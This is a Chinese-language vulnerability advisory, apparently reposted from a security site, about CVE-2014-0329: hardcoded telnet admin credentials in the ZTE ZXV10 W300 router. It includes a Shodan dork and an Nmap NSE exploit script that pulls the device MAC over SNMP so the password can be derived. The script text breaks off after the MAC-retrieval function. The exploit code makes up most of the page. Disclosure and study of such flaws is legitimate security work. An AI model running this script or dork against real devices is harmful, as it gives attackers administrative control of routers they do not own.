ZTE ZXV10 W300无线路由器硬编码凭证安全措施绕过漏

发布日期:2014-02-03
更新日期:2014-02-11

受影响系统:
ZTE ZXV10 W300 2.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 65310
CVE(CAN) ID: CVE-2014-0329

ZTE ZXV10 W300是款无线路由器产品。

ZTE ZXV10 W300路由器(固件版本2.1.0)的TELNET服务包含硬编码的管理员用户名及密码(XXXXairocon,其中XXXX是设备的MAC地址的后4位字符),如果远程攻击者了解密码前面的MAC地址字符,即可利用此漏洞获取管理员访问权限。

<*来源:Cesar Neira
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Cesar Neira ()提供了如下测试方法:

# Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage:
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:


local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"

description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See "
categories = {"vuln", "exploit", "intrusive"}

---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE        SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
--
-- Host script results:
-- | airocon:
-- |  VULNERABLE:
-- |  ZTE ZXV10 W300 router contains hardcoded credentials
-- |    State: VULNERABLE (Exploitable)
-- |    IDs:  CVE:CVE-2014-0329
-- |    Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |    Description:
-- |      ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |      service on the device. The username is "admin" and the password is "XXXXairocon"
-- |      where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |      is obtainable over SNMP with community string public.
-- |    Disclosure date: 2014-2-3
-- |    Exploit results:
-- |      admin:1234
-- |      support:1234
-- |      admin:0E91airocon
-- |    References:
-- |      ?name=CVE-2014-0329
-- |     
-- |_     

-- @args community SNMP community (Default: public)
--
---


local DEFAULT_COMMUNITY = "public"


hostrule = function(host)
    local snmp_port, telnet_port
   
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end
   
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end
   
    return true
end


local get_mac = function(host, community)
    local socket, status, response
   
    socket = nmap.new_socket("udp")
    socket:set_timeout(5000)

status, response = socket:connect(host, 161)
   
    if not status then
        socket:close()
        return status, response
    end
   
    local payload, request

request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
    payload = snmp.encode(snmp.buildPacket(request, 0, community))
   
    status, response = socket:send(payload)
   
    if not status then
        socket:close()
        return status, response
    end
   
    status, response = socket:receive_bytes(1)
   
    if not status then
        socket:close()
        return status, response
    end
   
    socket:close()
   
    local result
    result = snmp.fetchFirst(response)
   
    if not result then
        return false, "Unexpected response value."
    end
   
    return true, stdnse.tohex(result)
end

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/e12450ea52a25f0ce4e6b2d3c68e2791.html